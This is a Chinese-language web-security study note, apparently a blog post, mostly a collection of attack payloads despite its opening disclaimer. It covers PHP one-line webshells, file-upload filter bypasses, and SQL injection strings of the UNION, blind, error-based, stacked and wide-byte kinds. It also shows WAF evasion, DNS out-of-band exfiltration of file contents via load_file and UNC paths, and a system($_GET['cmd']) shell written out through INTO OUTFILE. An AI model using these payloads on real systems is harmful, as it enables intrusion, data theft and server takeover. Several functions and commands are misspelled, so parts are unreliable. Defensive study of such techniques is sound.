特此声明:此笔记为纯技术分享!此笔记的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!此笔记的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。
WEB安全攻防要点:123 ***信任***
1客户端脚本安全:浏览器安全;
跨站脚本攻击 XSS 反射 储存 DOM
跨站点请求伪造CSRF
点击劫持ClicJacking
网页钓鱼;
2服务器应用安全:认证会话管理;
访问控制;加密算法安全;
SQL注入攻击 : GET POST HTTP注入
文件上传漏洞;web框架漏洞;
拒绝服务攻击(应用层传输层)
开发语言安全 :文件包含漏洞,变量覆盖漏洞;代码执行漏洞
webServer配置安全 远程命令执行
3业务逻辑安全.
文件上传漏洞防御::: 1文件类型检测白名单优于黑名单
2使用安全函数进行编程
3熟悉业务部署环境的OS\Web server配置
工具 :::::::::: burpsuite curl Postman
eval()
<?php @evaluate($_post['123']); ?>
WEB 绕过 执行木马
文件上传漏洞 php3 \ phtml
:::::::::::::::
1-解析漏洞的版本号
IIS5./6.0
1.当创建.asp的文件目录时,在此目录下的任意文件服务器都解析为asp文件
/.asp/xxx
2.服务器默认不解析";"以后的内容
2-Nginx解析漏洞 cgi.fix_pathinfo 开启 当url中文件不存在PHP就会默认向前解析;
3-Apache 版本1./2. 解析漏洞 从右-左 shell.php.test 跳过非可识别的后缀,找到可识别后缀
删除 js代码 ;
4-.htaccess绕过; 上传一个.htaccess文件(Add Type application/x-httpd-php.test) 上传shell.test一句话木马;
5-PHp大小写绕过;windos平台不区分;
6-文件流绕过 NTFS文件系统实现了多文件流特性
echo 111 > test.txt:111.txt;
echo text > test.txt;
echo 222 > test.txt::$data;
7-字符串截断绕过(上传.php .png格式;空格为20修改为00即可) %00
控制两个输入点 :1文件名 ; 2 传输文件路径;
8-文件头检测绕过 图片马 cat test.php >> test.phg
大小写双写/点空格/文件头/条件竞争绕过 windows环境特性绕过 文件解析规则绕过 前端绕过.
源码审计:::explode 切片函数;in_array判断文件类型松散\比较;
1确定逻辑的安全性,2确定调用函数的安全性 php API reference
漏洞链:联合使用本地远程文件包含漏洞;
Fuzz 模糊测试;bp -- Intruder $$--playload
数据库 : myspl -h IP -u root -p
show databases;查看数据库;use information_schema;使用数据库
select database();当前使用的数据库 show tables 表; select version();数据库版本
select user();查看用户 select @@datadir;查看使用路径 select @@basedir;查看安装路径 select @@version_compile_os;查看版本
SQL注入类型:5种:::::::::::::::::::::::::::::::::::::::::::::::::::::::
1.Boolean-based blind SQL injection(布尔型注入) F T
2.UNION query SQL injection(可联合查询注入) union by
3.Time-based blind SQL injection(基于时间延迟注入) sleep()
4.Error-based SQL injection(报错型注入) group by duplicate entry
5.Stacked queries SQL injection(可多语言查询注入)
GET:::::::::::::::::::::::::::::::::::::::::::::::::::::::
information_schema
1通过'号测试注入点 报错返回 执行语句;
2查询字段数量 'union select 1,2,3,4,5,6 -- 查询字段数量;DBMS系统--为注释;
3查询数据库及表 'union select 1,user(),database(),table_name,version(),6 from INFORMATION_SCHEMA.tables where table_schema=database() -- '
4发现users表: 'union select 1,column_name,3,4,5,6 from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
5发现字段查询数据: 'union select 1,id,login,4,password,6 from where users --
6彩虹表碰撞方式解密 MD5
POST:::::::::::::::::::::::::::::::::::::::::::::::::::::::
1 BP 工具抓包 修改 request 参数
2 判断注入点构建语句修改int movie=1 union select 1,2 from INFORMATION_SCHEMA.tables --
3 movie=被真实数据占据需要修改为不存在的值,'union select 1,user(),database(),table_name,version(),6 --
4 查询只显示1行数据;
判断注入关键点 SQL:::::::::::::::::::::::::::::::::::::
那种注入方式;
1 添加'号方式页面返回错误的话存在注入, and=2-1 ,and 1=1
2 类型:数字型 + 字符型like '%(t%' and '1'='1 --;)
*******推测后端的SQL语句怎么写的 然后尝试去构造SQL语句去闭合;;
3防御对输入特殊符号进行转义 mysql_escape_string
4过滤 and or union by select 空格
Time-based blind SQL injection(基于时间延迟注入) ::::::::::::::::::::::::::::::::::::::::::::::::::::
页面不会返回错误 需要 sleep()加载网页时间
select * from user where id= ' 4' and sleep(3) -- ''
id= ' ?'
' and sleep(3) --
' and substr(database(),1,1)='b' and sleep(3) --
' and asii(substr(database(),1,1)=98 and sleep(3) --
当id=4存在,休眠3s
时间盲注常用函数 ::::::::::::::::::::
substr(a,b,c)从b开始,截取字符串a中的c长度
count()计算总数
asii()ASSCII码
length()返回字符串长度=5 >
left(a,b)从左到右截取字符串a的前b个字符 binary()
pip install requests
import requests
HTTP注入::::::::(user-Agent):::::::::::::::::::::::::::
user-Agent '为字符串 需要 闭合' 后面需要 注释-- #
Error-based SQL injection报错型注入:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
select floor(rand(0)*2) from information_schema.tables limit 0,10;
rang插入3次主键每次加1,主键存在造成冲突;
分类: 1.BigInt 数据类型溢出;
2.Xpath()语法错误;
3.count()+rand(返回一个随机浮点数)+group_by()导致重复;
4.空间数据类型函数错误;
:::::::::::::::::函数会导致MySQL报错并显示出数据:::::
1.floor函数;floor(rand(0)*2) 总的来说floor(rand(0)*2)在该语句中会执行两次,一次是在遍历原表中的数据的时候,会计算一次x的值;一次是当虚拟表中没有该x的值,准备将新的记录插入虚拟表中的时候。一旦这两次的计算结果不一致,就会导致插入过程的报错。
select count(*),floor(rand(0)*2)x from users group by x;
一张虚拟表count(*)-x,该虚拟表的主键是group by后指定的x,执行group by的过程中,
一条一条的遍历user表,获得x字段的值
2.extractvalue函数 (最多32个字符) id=1' and extractvalue(1,concat(0x7e,(select @@version))) --' 0x7e为波浪号
3.updatexml函数;id=1' and updatexml(1,concat(0x7e,(select @@version)),1) --'
4.exp()函数; select exp(~(select * from (select database))x)); ~取反
5.MID()函数用于从文本字段中提取字符:select MID(column_name,start[,length]) from table_name;
id=' and extractvalue(1,mid(concat(0x7e, (select password from dvam.users limit 0,1)),29,29)) --
id=' and extractvalue(1,(concat(0x7e, (select table_name from information_schema.tables where table_schema='dvwn' limit 0,1))) --
id=' and extractvalue(1,(concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1))) --
堆叠注入:::Stacked Injections:::::::::::场景少::::::::::::::::::::::::::::::::::::
一堆sql一起执行 ,每一条语句结尾;
API限制 场景少 mysqli_multi_query 多语句查询API mysql_use_result获取结果
修改用户密码 id=1' ; update users set password='' where user_id=1; --
OOB注入 :::::::DNS:53::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
OUT OF BAND 带外通道
条件 :1存在漏洞的系统 允许访问恶意url
2外围防火墙出站策略;
域名 DNS Server 明文 需要 域名 53
tcpdump 数据嗅探工具 53
Windows生效网络共享 UNC路径 \\servernamer\sharename
local host
CEYE平台 ceye.io
select concat('\\\\',(select database()),'.yuming\\12');
select lode_file(concat('\\\\',(select database()),".yuming\\12")) --+
限制为63个字符;
1使用load_file去读文件内容;2使用substr对文件进行切片;
3使用to_base64对切片内容编码;4使用concat将内容与域名拼接;
5使用load_file访问UNC路径;
select concat(to_base64(substr(load_file("C:phpstudy_pro\\Extensions\\Mysql\\my.ini"),1,15)),".example.com") as result;
Oracle数据库 UTL_HTTP.request(url,porxy);
如何绕过 WAF::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
1混淆绕过; 大小写 双写/点空格/文件头/条件竞争绕过
2过滤代码 preg_match('/(and | or) /i',$id) #/ 表示开头结尾;i 不区分大小写
过滤 1or=1 1and1 =1 替换or=|| and = && 绕过 1||1=1 1&&1=1
3过滤代码 preg_match('/(and | or | union) /i',$id)
过滤1|| (select user from users where user_id = 1)= 'admin'
1|| (select count(*) from test) > 0;
where == limit ; group by
select substr((select group_concat(name)name from test),1,1) =
4过滤代码 select ' 过滤
1 || substr(name,1,1) = 0x74;
1 || binary(name) = 0x74657374; 二进制函数
&& binary(name) > 0x74;
5过滤空格 注释符 /**/ URL编码
select/**/name/**/from/**/test/**/where/**/id=1;
6过滤 = 可以用 like
7 双写绕过 ; ununionion
8双重编码绕过 WAF url decode (param)
9 转义函数 不是万能 本质防御
10宽字节注入 36 %27--' %23--# %df--无意义 %5c--\
id=133 %df%27 union select 1,user(),3 %23
id=133 \' union select 1,user(),3 #
SET character_set_client = x; 客户端编码格式设置
SET NAMES X my.ini/cnf进行静态设值;
?\' 希望 ?\结合 通过df把5c (\) 结合起来 轀
GBK编码 包含汉字 ; Unicode编码国际标准字符;
二次注入 :::24::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
数据库输入不可信;;;
admin'# 转义admin\'#
防:预编译 禁止用户账号出现特殊符号
注入命令执行:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
经典注入方式
select username,password from users where id = '1' union
select 1,'<?php system($_GET["cmd"]);?>' into outfile '//'
本文详细介绍了WEB安全的关键要素,包括客户端脚本安全、服务器应用安全、业务逻辑安全、常见漏洞利用工具和技术,以及针对SQL注入、数据库操作、WAF绕过和二次注入的防御方法,旨在提升网络安全意识和防护措施。
2217

被折叠的 条评论
为什么被折叠?



